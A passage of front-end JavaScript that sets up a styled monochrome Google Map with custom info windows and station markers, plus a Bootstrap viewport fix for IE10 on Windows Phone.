        mapTypeId: google.maps.MapTypeId.TERRAIN,
        mapTypeControl: false,
        streetViewControl: false,
        scrollwheel: false,

        // styles for monchrome map
        styles: [{
          featureType: 'road',
          elementType: 'geometry',
          stylers: [
            {'visibility': 'simplified'}
          ]
        }, {
          featureType: 'poi',
          elementType: 'label',
          stylers: [
            {'visibility': 'off'}
          ]
        }, {
          featureType: 'all',
          stylers: [
            {saturation: -100},
            {gamma: 0.90}
          ]
        }]

      };

      var setMap = new google.maps.Map(map[0], options);

      var info = new google.maps.InfoWindow();


      // custom infoWindow
      google.maps.event.addListener(info, 'domready', function () {

        // Reference to the DIV that wraps the bottom of infowindow
        var iwOuter = $('.gm-style-iw');

        var iwBackground = iwOuter.prev();
        // Removes background shadow DIV
        iwBackground.children(':nth-child(2)').css({
          'box-shadow': 'none',
          'background-color': 'rgba(0, 0, 0, 0.1)'
        });

        // Changes the desired tail shadow color.
        iwBackground.children(':nth-child(3)').find('div').children().css({
          'box-shadow': 'none',
          'border-top-color': 'rgba(0, 0, 0, 0.1)'
        });

      });
      var marker, i;
      var image = {
        url: iconMarker,
        scaledSize: markerSize
      };

      for (i = 0; i < points.length; i++) {
        var stations = points[i][0];
        marker = new google.maps.Marker({
          position: new google.maps.LatLng(points[i][1], points[i][2]),
          map: setMap,
          icon: image
        });
        google.maps.event.addListener(marker, 'click', (function (stations) {
          return function () {
            info.setContent(stations);
            info.open(setMap, this);
          }
        })(stations));
      }
    }

    var map = $('#map');

    if (map.length) {
      google.maps.event.addDomListener(window, 'load', initMap(map));
      google.maps.event.addDomListener(window, 'resize', initMap(map));
    }

    /* _____________________________________

     Bootstrap Fix: IE10 in Win 8 & Win Phone 8
     _____________________________________ */


    if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
      var msViewportStyle = document.createElement("style");
      msViewportStyle.appendChild(
        document.createTextNode(
          "@-ms-viewport{width:auto!important}"
        )
      );
      document.querySelector("head").appendChild(msViewportStyle)
    }
  }
)
;